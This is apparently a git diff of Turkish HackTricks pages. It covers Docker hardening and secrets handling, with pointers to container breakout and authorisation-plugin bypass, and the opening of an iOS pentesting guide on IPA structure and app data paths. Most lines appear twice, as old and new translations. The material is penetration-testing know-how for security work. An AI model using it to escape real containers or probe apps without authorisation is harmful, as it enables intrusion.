Eğer bir saldırganın düşük ayrıcalıklı bir kullanıcı olarak erişim elde etmeyi başardığı bir konteyner çalıştırıyorsanız ve **hatalı yapılandırılmış bir suid ikili dosyanız** varsa, saldırgan bunu kötüye kullanabilir ve konteynerin içinde **ayrıcalıkları yükseltebilir**. Bu da onun kaçmasına izin verebilir.
Eğer bir saldırganın düşük ayrıcalıklı bir kullanıcı olarak erişim elde etmeyi başardığı bir konteyner çalıştırıyorsanız ve **hatalı yapılandırılmış suid ikili dosyanız** varsa, saldırgan bunu kötüye kullanabilir ve konteyner içinde **ayrıcalıkları yükseltebilir**. Bu da onun kaçmasına izin verebilir.
Konteyneri **`no-new-privileges`** seçeneği etkinleştirilmiş olarak çalıştırmak, bu tür ayrıcalık yükseltmelerini **engelleyecektir**.
```
@ -308,23 +308,23 @@ Daha fazla **`--security-opt`** seçeneği için kontrol edin: [https://docs.doc
### Şifreleri Yönetme: En İyi Uygulamalar
Docker görüntülerine doğrudan şifre gömmek veya çevre değişkenleri kullanmak önemli değildir, çünkü bu yöntemler, `docker inspect` veya `exec` gibi komutlar aracılığıyla konteynıra erişimi olan herkese hassas bilgilerinizi açığa çıkarır.
Docker görüntülerine doğrudan şifre gömmek veya çevresel değişkenler kullanmak önemli değildir, çünkü bu yöntemler, `docker inspect` veya `exec` gibi komutlar aracılığıyla konteynıra erişimi olan herkese hassas bilgilerinizi açığa çıkarır.
**Docker birimleri** hassas bilgilere erişmek için önerilen daha güvenli bir alternatiftir. Bunlar, riskleri azaltmak için geçici bir bellek dosya sistemi olarak kullanılabilir ve `docker inspect` ve günlüğe kaydetme ile ilişkili riskleri hafifletir. Ancak, kök kullanıcılar ve konteynıra `exec` erişimi olanlar hala şifrelere erişebilir.
**Docker birimleri**, hassas bilgilere erişmek için önerilen daha güvenli bir alternatiftir. Bunlar, riskleri azaltmak için geçici bir bellek dosya sistemi olarak kullanılabilir ve `docker inspect` ve günlüğe kaydetme ile ilişkili riskleri hafifletir. Ancak, kök kullanıcılar ve konteynıra `exec` erişimi olanlar hala şifrelere erişebilir.
**Docker secrets** hassas bilgileri işlemede daha güvenli bir yöntem sunar. Görüntü oluşturma aşamasında şifreler gerektiren durumlar için, **BuildKit** ek özellikler sunarak görüntü oluşturma hızını artırır ve destek sağlayan etkili bir çözüm sunar.
**Docker secrets**, hassas bilgileri ele almak için daha da güvenli bir yöntem sunar. Görüntü oluşturma aşamasında şifreler gerektiren durumlar için, **BuildKit** ek özellikler sunarak görüntü oluşturma hızını artırır ve ek özellikler sağlar.
BuildKit'i kullanmak için üç şekilde etkinleştirilebilir:
BuildKit'ten yararlanmak için üç şekilde etkinleştirilebilir:
1. Bir çevre değişkeni aracılığıyla: `export DOCKER_BUILDKIT=1`
1. Bir çevresel değişken aracılığıyla: `export DOCKER_BUILDKIT=1`
2. Komutlara önek ekleyerek: `DOCKER_BUILDKIT=1 docker build .`
3. Docker yapılandırmasında varsayılan olarak etkinleştirilerek: `{ "features": { "buildkit": true } }`, ardından bir Docker yeniden başlatma işlemi.
3. Docker yapılandırmasında varsayılan olarak etkinleştirilerek: `{ "features": { "buildkit": true } }`, ardından bir Docker yeniden başlatma.
BuildKit, `--secret` seçeneği ile yapı zamanı şifrelerin kullanılmasına olanak tanır, bu sayede bu şifrelerin görüntü oluşturma önbelleğine veya nihai görüntüye dahil edilmediğinden emin olunur, şu şekilde bir komut kullanılarak:
BuildKit, `--secret` seçeneği ile yapı zamanı şifrelerin kullanımına izin verir, bu sayede bu şifrelerin görüntü oluşturma önbelleğine veya nihai görüntüye dahil edilmediğinden emin olunur, şu şekilde bir komut kullanılarak:
```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
```
Çalışan bir konteyner için gerekli olan sırlar için **Docker Compose ve Kubernetes** sağlam çözümler sunar. Docker Compose, gizli dosyaları belirtmek için hizmet tanımında bir `secrets` anahtarı kullanır. Bu, bir `docker-compose.yml` örneğinde gösterildiği gibi yapılır:
Çalışan bir konteyner için gerekli olan sırlar için **Docker Compose ve Kubernetes**, sağlam çözümler sunar. Docker Compose, gizli dosyaları belirtmek için hizmet tanımında bir `secrets` anahtarı kullanır. Bu, bir `docker-compose.yml` örneğinde gösterildiği gibi:
```yaml
version: "3.7"
services:
@ -349,29 +349,29 @@ Kubernetes ortamlarında, secrets doğal olarak desteklenir ve [Helm-Secrets](ht
### Kata Containers
**Kata Containers**, konteynerlere benzer şekilde hissedip performans gösteren hafif sanal makinelerle güvenli bir konteyner çalışma zamanı oluşturmak için çalışan açık kaynak topluluğudur, ancak ikinci bir savunma katmanı olarak donanım sanallaştırma teknolojisini kullanarak **daha güçlü iş yükü izolasyonu sağlar**.
**Kata Containers**, konteynerlere benzer şekilde hissedip performans gösteren hafif sanal makinelerle güvenli bir konteyner çalışma zamanı oluşturmak için çalışan açık kaynak bir topluluktur, ancak ikinci bir savunma katmanı olarak donanım sanallaştırma teknolojisini kullanarak **daha güçlü iş yükü izolasyonu sağlar**.
{% embed url="https://katacontainers.io/" %}
### Özet İpuçları
* **`--privileged` bayrağını kullanmayın veya konteynerin içine** [**Docker soketi bağlamayın**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker soketi, konteynerlerin başlatılmasına izin verir, bu nedenle örneğin, `--privileged` bayrağı ile başka bir konteyneri çalıştırarak ana bilgisayarın tam kontrolünü ele geçirmek kolaydır.
* **Konteynerin içinde kök olarak çalıştırmayın.** [**Farklı bir kullanıcı**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **ve** [**kullanıcı ad alanları**](https://docs.docker.com/engine/security/userns-remap/)** kullanın.** Konteynerdeki kök, kullanıcı ad alanları ile yeniden eşlenmediği sürece ana bilgisayarla aynıdır. Yalnızca Linux ad alanları, yetenekler ve cgroups tarafından hafifçe kısıtlanmıştır.
* [**Tüm yetenekleri bırakın**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) ve yalnızca gerekenleri etkinleştirin** (`--cap-add=...`). Birçok iş yükü hiçbir yetenek gerektirmez ve bunları eklemek bir saldırı alanının kapsamını artırır.
* [**“no-new-privileges” güvenlik seçeneğini kullanın**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) süid ikili dosyalar aracılığıyla örneğin daha fazla ayrıcalık kazanmalarını önlemek için.
* **`--privileged` bayrağını kullanmayın veya konteyner içine** [**Docker soketi bağlamayın**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker soketi, konteynerlerin başlatılmasına izin verir, bu nedenle örneğin, `--privileged` bayrağı ile başka bir konteyneri çalıştırarak ana bilgisayarın tam kontrolünü ele geçirmek kolaydır.
* **Konteyner içinde kök olarak çalıştırmayın.** [**Farklı bir kullanıcı**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **ve** [**kullanıcı ad alanları**](https://docs.docker.com/engine/security/userns-remap/)** kullanın.** Konteynerdeki kök, kullanıcı ad alanları ile yeniden eşlenmediği sürece ana bilgisayarla aynıdır. Yalnızca Linux ad alanları, yetenekler ve cgroups tarafından hafifçe kısıtlanır.
* [**Tüm yetenekleri bırakın**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) ve yalnızca gerekenleri etkinleştirin** (`--cap-add=...`). Birçok iş yükü hiçbir yetenek gerektirmez ve bunları eklemek bir saldırı kapsamını artırır.
* [**"no-new-privileges" güvenlik seçeneğini kullanın**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) süid ikili dosyalar aracılığıyla örneğin daha fazla ayrıcalık kazanmalarını önlemek için.
* [**Konteynere sağlanan kaynakları sınırlayın**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Kaynak sınırları, makinenin hizmet reddi saldırılarından korunmasına yardımcı olabilir.
* **[Seccomp](https://docs.docker.com/engine/security/seccomp/)**, **[AppArmor](https://docs.docker.com/engine/security/apparmor/)** **(veya SELinux)** profillerini ayarlayarak konteyner için kullanılabilir eylemleri ve sistem çağrılarını minimuma indirin.
* **[Resmi docker imajlarını](https://docs.docker.com/docker-hub/official\_images/) kullanın ve imzaları gerektirin** veya bunlara dayalı kendi imajlarınızı oluşturun. Geriye dönük imajlar miras almayın veya kullanmayın. Ayrıca kök anahtarları, parola güvenli bir yerde saklayın. Docker, UCP ile anahtarları yönetme planları yapmaktadır.
* **Güvenlik yamalarını uygulamak için düzenli olarak** **imajlarınızı yeniden oluşturun.**
* **[Seccomp](https://docs.docker.com/engine/security/seccomp/)**, [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(veya SELinux)** profillerini ayarlayarak konteyner için kullanılabilir eylemleri ve sistem çağrılarını minimuma indirin.
* **[Resmi docker görüntülerini](https://docs.docker.com/docker-hub/official\_images/) kullanın ve imzaları gerektirin** veya bunlara dayalı kendi görüntülerinizi oluşturun. Geriye dönük görüntülerden miras almayın veya kullanmayın. Ayrıca kök anahtarları, parola güvenli bir yerde saklayın. Docker, anahtarları UCP ile yönetme planları yapmaktadır.
* **Güvenlik yamalarını uygulamak için düzenli olarak** **görüntülerinizi yeniden oluşturun.**
* **Secret'ları akıllıca yönetin** böylece saldırganın bunlara erişmesi zor olur.
* Docker daemon'ı **HTTPS ile açıklarsanız**, istemci ve sunucu kimlik doğrulaması yapın.
* Dockerfile'ınızda **ADD yerine COPY'yi tercih edin**. ADD otomatik olarak sıkıştırılmış dosyaları çıkarır ve dosyaları URL'lerden kopyalayabilir. COPY bu yeteneklere sahip değildir. Mümkün olduğunca ADD kullanmaktan kaçının, böylece uzak URL'ler ve Zip dosyaları aracılığıyla yapılan saldırılara karşı savunmasız olmazsınız.
* Docker daemon'ı **ıklarsanız HTTPS** kullanın ve istemci ve sunucu kimlik doğrulaması yapın.
* Docker dosyanızda **ADD yerine COPY'yi tercih edin**. ADD otomatik olarak sıkıştırılmış dosyaları çıkarır ve dosyaları URL'lerden kopyalayabilir. COPY bu yeteneklere sahip değildir. Mümkün olduğunca ADD kullanmaktan kaçının, böylece uzak URL'ler ve Zip dosyaları aracılığıyla yapılan saldırılara karşı savunmasız olmazsınız.
* **Her mikro hizmet için ayrı konteynerler kullanın**
* **Konteyner imajlarını daha küçük yapın**
* **Konteyner görüntülerini daha küçük yapın**
## Docker Kaçışı / Ayrıcalık Yükseltme
Eğer **bir docker konteynerinin içindeyseniz** veya **docker grubunda bir kullanıcıya erişiminiz varsa**, **kaçmaya ve ayrıcalıkları yükseltmeye** çalışabilirsiniz:
Eğer **bir Docker konteynerinin içindeyseniz** veya **docker grubunda bir kullanıcıya erişiminiz varsa**, **kaçmaya ve ayrıcalıkları yükseltmeye** çalışabilirsiniz:
{% content-ref url="docker-breakout-privilege-escalation/" %}
[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/)
@ -379,7 +379,7 @@ Eğer **bir docker konteynerinin içindeyseniz** veya **docker grubunda bir kull
## Docker Kimlik Doğrulama Eklentisi Atlatma
Eğer docker soketine erişiminiz varsa veya **docker grubunda bir kullanıcıya erişiminiz varsa ancak eylemleriniz bir docker kimlik doğrulama eklentisi tarafından sınırlanıyorsa**, **bunu atlayıp atlayamayacağınızı kontrol edin:**
Eğer docker soketine erişiminiz varsa veya **docker grubunda bir kullanıcıya erişiminiz varsa ancak eylemleriniz bir docker kimlik doğrulama eklentisi tarafından sınırlanıyorsa**, bunu **atlayıp atlayamayacağınızı kontrol edin:**
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
@ -409,18 +409,18 @@ Araç, Docker çalıştıran ana bilgisayardan veya yeterli ayrıcalıklara sahi
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturmak ve otomatikleştirmek için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve **otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong>!</summary>
HackTricks'i desteklemenin diğer yolları:
* Eğer **şirketinizin HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubumuza**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** adresinden takip edin.**
* **Katılın** 💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubumuza**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşın, PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.

View file

@ -3,21 +3,21 @@
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Hemen Erişim Alın:
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
<details>
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini edinin**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
</details>
@ -40,7 +40,7 @@ Bu sayfada **iOS simülatörü**, **emülatörler** ve **jailbreak** hakkında b
### Temel iOS Test İşlemleri
Test sırasında **çeşitli işlemler önerilecek** (cihaza bağlanma, dosya okuma/yazma/yükleme/indirme, bazı araçları kullanma...). Bu nedenle, bu işlemlerin nasıl gerçekleştirileceğini bilmiyorsanız, lütfen **sayfayı okumaya başlayın**:
Test sırasında **çeşitli işlemler önerilecek** (cihaza bağlanma, dosya okuma/yazma/yükleme/indirme, bazı araçları kullanma...). Bu nedenle, bu işlemlerin nasıl gerçekleştirileceğini bilmiyorsanız lütfen **sayfayı okumaya başlayın**:
{% content-ref url="basic-ios-testing-operations.md" %}
[basic-ios-testing-operations.md](basic-ios-testing-operations.md)
@ -48,7 +48,7 @@ Test sırasında **çeşitli işlemler önerilecek** (cihaza bağlanma, dosya ok
{% hint style="info" %}
Aşağıdaki adımlar için **uygulamanın cihaza yüklenmiş olması** ve uygulamanın **IPA dosyasının zaten edinilmiş olması** gerekmektedir.\
Bunu nasıl yapacağınızı öğrenmek için [Temel iOS Test İşlemleri](basic-ios-testing-operations.md) sayfasını okuyun.
Bunu nasıl yapılacağını öğrenmek için [Temel iOS Test İşlemleri](basic-ios-testing-operations.md) sayfasını okuyun.
{% endhint %}
### Temel Statik Analiz
@ -164,7 +164,7 @@ PID Name Identifier
```
### Temel Numaralandırma ve Hooking
Uygulamanın **bileşenlerini numaralandırma** ve yöntemleri ve sınıfları kolayca **hooklama** öğrenin objection ile:
Uygulamanın bileşenlerini **numaralandırma** ve yöntemleri ve sınıfları kolayca **hooklama** yöntemlerini objection ile nasıl yapılacağını öğrenin:
{% content-ref url="ios-hooking-with-objection.md" %}
[ios-hooking-with-objection.md](ios-hooking-with-objection.md)
@ -172,26 +172,26 @@ Uygulamanın **bileşenlerini numaralandırma** ve yöntemleri ve sınıfları k
### IPA Yapısı
Bir **IPA dosyasının** yapısı temelde bir **sıkıştırılmış paketin** yapısına sahiptir. Uzantısını `.zip` olarak değiştirerek, içeriğini ortaya çıkarmak için **açılabilir**. Bu yapı içinde, bir **Bundle** (Paket) uygulamanın kurulmaya hazır tamamen paketlenmiş bir uygulamayı temsil eder. İçinde, uygulamanın kaynaklarını kapsayan `<NAME>.app` adında bir dizin bulacaksınız.
Bir **IPA dosyasının** yapısı temelde bir **sıkıştırılmış paketin** yapısıdır. Uzantısını `.zip` olarak değiştirerek, içeriğini ortaya çıkarmak için **açılabilir**. Bu yapı içinde, bir **Paket** uygulamanın kurulmaya hazır tamamen paketlenmiş bir uygulamayı temsil eder. İçinde, uygulamanın kaynaklarını kapsayan `<NAME>.app` adında bir dizin bulacaksınız.
* **`Info.plist`**: Bu dosya uygulamanın belirli yapılandırma detaylarını tutar.
* **`_CodeSignature/`**: Bu dizin, paketteki tüm dosyaların bütünlüğünü sağlayan bir imza içeren bir plist dosyasını içerir.
* **`Assets.car`**: Simgeler gibi varlık dosyalarını depolayan sıkıştırılmış bir arşiv.
* **`Frameworks/`**: Bu klasör uygulamanın yerel kütüphanelerini barındırır, bu kütüphaneler `.dylib` veya `.framework` dosyaları şeklinde olabilir.
* **`PlugIns/`**: Bu, `.appex` dosyaları olarak bilinen uygulama uzantılarını içerebilir, ancak her zaman mevcut değillerdir.
* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Bu, uygulamanızın kalıcı verilerini çevrimdışı kullanım için kaydetmek, geçici verileri önbelleğe almak ve uygulamanıza tek bir cihazda geri alma işlevselliği eklemek için kullanılır. Bir iCloud hesabında birden fazla cihaz arasında veri senkronizasyonu yapmak için Core Data otomatik olarak şemanızı bir CloudKit konteynerine yansıtır.
* **`PlugIns/`**: Bu, `.appex` dosyaları olarak bilinen uygulamanın uzantılarını içerebilir, ancak her zaman mevcut değillerdir.
* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Uygulamanızın kalıcı verilerini çevrimdışı kullanım için kaydetmek, geçici verileri önbelleğe almak ve uygulamanıza tek bir cihazda geri alma işlevselliği eklemek için kullanılır. Bir iCloud hesabında birden fazla cihaz arasında veri senkronizasyonu için, Core Data şemanızı otomatik olarak bir CloudKit konteynerine yansıtır.
* [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo` dosyası uygulamanızın veya paketinizin türünü ve yaratıcı kodlarını belirtmenin alternatif bir yoludur.
* **en.lproj, fr.proj, Base.lproj**: Bu, belirli diller için kaynakları içeren dil paketleridir ve bir dil desteklenmiyorsa varsayılan bir kaynak içerir.
* **Güvenlik**: `_CodeSignature/` dizini, dijital imzalar aracılığıyla tüm paketlenmiş dosyaların bütünlüğünü doğrulayarak uygulamanın güvenliğinde kritik bir rol oynar.
* **Varlık Yönetimi**: `Assets.car` dosyası, grafiksel varlıkları verimli bir şekilde yönetmek için sıkıştırma kullanır, bu da uygulama performansını optimize etmek ve genel boyutunu azaltmak için önemlidir.
* **Kütüphaneler ve Eklentiler**: Bu dizinler, iOS uygulamalarının modülerliğini vurgular, geliştiricilere yeniden kullanılabilir kod kütüphaneleri (`Frameworks/`) eklemeleri genişletme imkanı sağlar (`PlugIns/`).
* **Güvenlik**: `_CodeSignature/` dizini, dijital imzalar aracılığıyla paketlenmiş tüm dosyaların bütünlüğünü doğrulayarak uygulamanın güvenliğinde kritik bir rol oynar.
* **Varlık Yönetimi**: `Assets.car` dosyası, grafiksel varlıkları etkin bir şekilde yönetmek için sıkıştırma kullanır, bu da uygulama performansını optimize etmek ve genel boyutunu azaltmak için önemlidir.
* **Kütüphaneler ve Eklentiler**: Bu dizinler, iOS uygulamalarının modülerliğini vurgular, geliştiricilere tekrar kullanılabilir kod kütüphaneleri (`Frameworks/`) eklemeleri ve uygulama işlevselliğini genişletmelerine izin verir (`PlugIns/`).
* **Yerelleştirme**: Yapı, birden fazla dil desteğini destekler, belirli dil paketleri için kaynakları içererek küresel uygulama erişimini kolaylaştırır.
**Info.plist**
**Info.plist**, iOS uygulamaları için bir köşetaşı görevi görür, **anahtar-değer** çiftleri şeklinde temel yapılandırma verilerini kapsar. Bu dosya sadece uygulamalar için değil, aynı zamanda uygulama uzantıları ve içinde bulunan çerçeveler için de gereklidir. XML veya ikili bir formatta yapılandırılmış olup, uygulama izinlerinden güvenlik yapılandırmalarına kadar kritik bilgileri içerir. Mevcut anahtarlar hakkında detaylı bir keşif için [**Apple Geliştirici Belgelerine**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc) başvurulabilir.
**Info.plist**, iOS uygulamaları için bir köşetaşı olarak hizmet eder, kritik bilgileri **anahtar-değer** çiftleri şeklinde kapsayan. Bu dosya sadece uygulamalar için değil, aynı zamanda uygulama uzantıları ve içinde bulunan çerçeveler için de gereklidir. XML veya ikili bir formatta yapılandırılmıştır ve uygulama izinlerinden güvenlik yapılandırmalarına kadar kritik bilgileri içerir. Mevcut anahtarlar hakkında detaylı bir keşif için, [**Apple Geliştirici Belgelerine**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc) başvurulabilir.
Bu dosya ile çalışmak isteyenler için daha erişilebilir bir formatta XML dönüşümü, macOS'ta (`plutil` ile, 10.2 ve sonraki sürümlerde doğal olarak mevcuttur) veya Linux'ta `plistutil` kullanılarak kolayca gerçekleştirilebilir. Dönüşüm komutları şunlardır:
Bu dosya ile çalışmak isteyenler için daha erişilebilir bir formatta XML dönüşümü, macOS'ta (`plutil` ile, 10.2 ve sonraki sürümlerde doğal olarak mevcuttur) veya Linux'ta (`plistutil` ile) kolayca gerçekleştirilebilir. Dönüşüm için komutlar şunlardır:
* **macOS için**:
```bash
@ -202,18 +202,18 @@ $ plutil -convert xml1 Info.plist
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
**Info.plist** dosyasının ifşa edebileceği bilgi yığını arasında, dikkate değer girişler uygulama izni dizeleri (`UsageDescription`), özel URL şemaları (`CFBundleURLTypes`) ve App Transport Security için yapılandırmalar (`NSAppTransportSecurity`) bulunmaktadır. Bu girişler, diğerleri arasında dışa aktarılan/içe aktarılan özel belge tipleri (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`) gibi, dosyayı inceleyerek veya basit bir `grep` komutu kullanılarak kolayca bulunabilir:
**Info.plist** dosyasının ifşa edebileceği bilgi yığını arasında, dikkate değer girdiler arasında uygulama izni dizeleri (`UsageDescription`), özel URL şemaları (`CFBundleURLTypes`) ve Uygulama Taşıma Güvenliği için yapılandırmalar (`NSAppTransportSecurity`) bulunmaktadır. Bu girdiler, `grep` komutunu kullanarak dosyayı inceleyerek veya basitçe yerini tespit edebilir.
```bash
$ grep -i <keyword> Info.plist
```
**Veri Yolları**
iOS ortamında, dizinler özellikle **sistem uygulamaları** ve **kullanıcı tarafından yüklenen uygulamalar** için ayrılmıştır. Sistem uygulamaları `/Applications` dizininde bulunurken, kullanıcı tarafından yüklenen uygulamalar `/var/mobile/containers/Data/Application/` altına yerleştirilir. Bu uygulamalara **128-bit UUID** olarak bilinen benzersiz bir tanımlayıcı atanır, bu da uygulamanın klasörünü manuel olarak bulmayı zorlaştırır çünkü dizin adlarının rastgele olmasından kaynaklanır.
iOS ortamında, dizinler özellikle **sistem uygulamaları** ve **kullanıcı tarafından yüklenen uygulamalar** için ayrılmıştır. Sistem uygulamaları `/Applications` dizininde bulunurken, kullanıcı tarafından yüklenen uygulamalar `/var/mobile/containers/Data/Application/` altına yerleştirilir. Bu uygulamalara **128-bit UUID** olarak bilinen benzersiz bir tanımlayıcı atanır, bu da uygulamanın klasörünü manuel olarak bulmayı zorlaştırır çünkü dizin adlarının rastgele olması nedeniyle.
{% hint style="warning" %}
iOS'taki uygulamaların sandbox olması gerektiğinden, her uygulamanın **`CFBundleIdentifier`**'ına sahip **`$HOME/Library/Containers`** içinde bir klasörü olacaktır.
Ancak, her iki klasörün (veri ve konteyner klasörleri) de `MCMetadataIdentifier` anahtarında her iki dosyayı da bağlayan **`.com.apple.mobile_container_manager.metadata.plist`** dosyası bulunmaktadır.
Ancak, hem veri hem de konteyner klasörlerinde **`.com.apple.mobile_container_manager.metadata.plist`** adlı dosya bulunur ve bu dosyaları `MCMetadataIdentifier` anahtarında bağlayan bir ilişki vardır.
{% endhint %}
Kullanıcı tarafından yüklenen bir uygulamanın kurulum dizinini keşfetmeyi kolaylaştırmak için **objection aracı** yararlı bir `env` komutu sağlar. Bu komut, söz konusu uygulama için detaylı dizin bilgilerini ortaya çıkarır. Aşağıda bu komutun nasıl kullanılacağına dair bir örnek bulunmaktadır:
@ -231,7 +231,7 @@ Alternatif olarak, uygulama adı `find` komutu kullanılarak `/private/var/conta
```bash
find /private/var/containers -name "Progname*"
```
Komutlar `ps` ve `lsof` gibi, sırasıyla uygulamanın işlemini tanımlamak ve açık dosyaları listelemek için de kullanılabilir, uygulamanın etkin dizin yollarına dair içgörüler sağlar:
Komutlar olan `ps` ve `lsof` gibi, sırasıyla uygulamanın işlemini tanımlamak ve açık dosyaları listelemek için de kullanılabilir, uygulamanın etkin dizin yollarına dair içgörüler sağlar:
```bash
ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1
@ -242,7 +242,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
* Bu, IPA'da daha önce görüldüğü gibi Uygulama Paketi olup, temel uygulama verilerini, statik içeriği ve uygulamanın derlenmiş ikilisini içerir.
* Bu dizin kullanıcılara görünür, ancak **kullanıcılar yazamaz**.
* Bu dizindeki içerik **yedeklenmez**.
* Bu klasörün içeriği kod imzasını **doğrulamak** için kullanılır.
* Bu klasörün içeriği **kod imzasını doğrulamak** için kullanılır.
**Veri dizini:**
@ -252,10 +252,10 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
* Bu dizindeki içerik **yedeklenir**.
* Uygulama, `NSURLIsExcludedFromBackupKey` ayarlayarak yolları devre dışı bırakabilir.
* **Library/**
* **Kullanıcıya özgü olmayan dosyaları** içerir, örneğin **ön bellekler**, **tercihler**, **çerezler** ve özellik listesi (plist) yapılandırma dosyaları.
* **Kullanıcıya özgü olmayan dosyaları** içerir, **ön bellekler**, **tercihler**, **çerezler** ve özellik listesi (plist) yapılandırma dosyaları gibi.
* iOS uygulamaları genellikle `Application Support` ve `Caches` alt dizinlerini kullanır, ancak uygulama özel alt dizinler oluşturabilir.
* **Library/Caches/**
* **Yarı kalıcı önbellek dosyalarını** içerir.
* **Yarı kalıcı önbelleklenmiş dosyaları** içerir.
* Kullanıcılara görünmez ve **kullanıcılar yazamaz**.
* Bu dizindeki içerik **yedeklenmez**.
* Uygulama çalışmıyorken ve depolama alanı azaldığında işletim sistemi bu dizinin dosyalarını otomatik olarak silebilir.
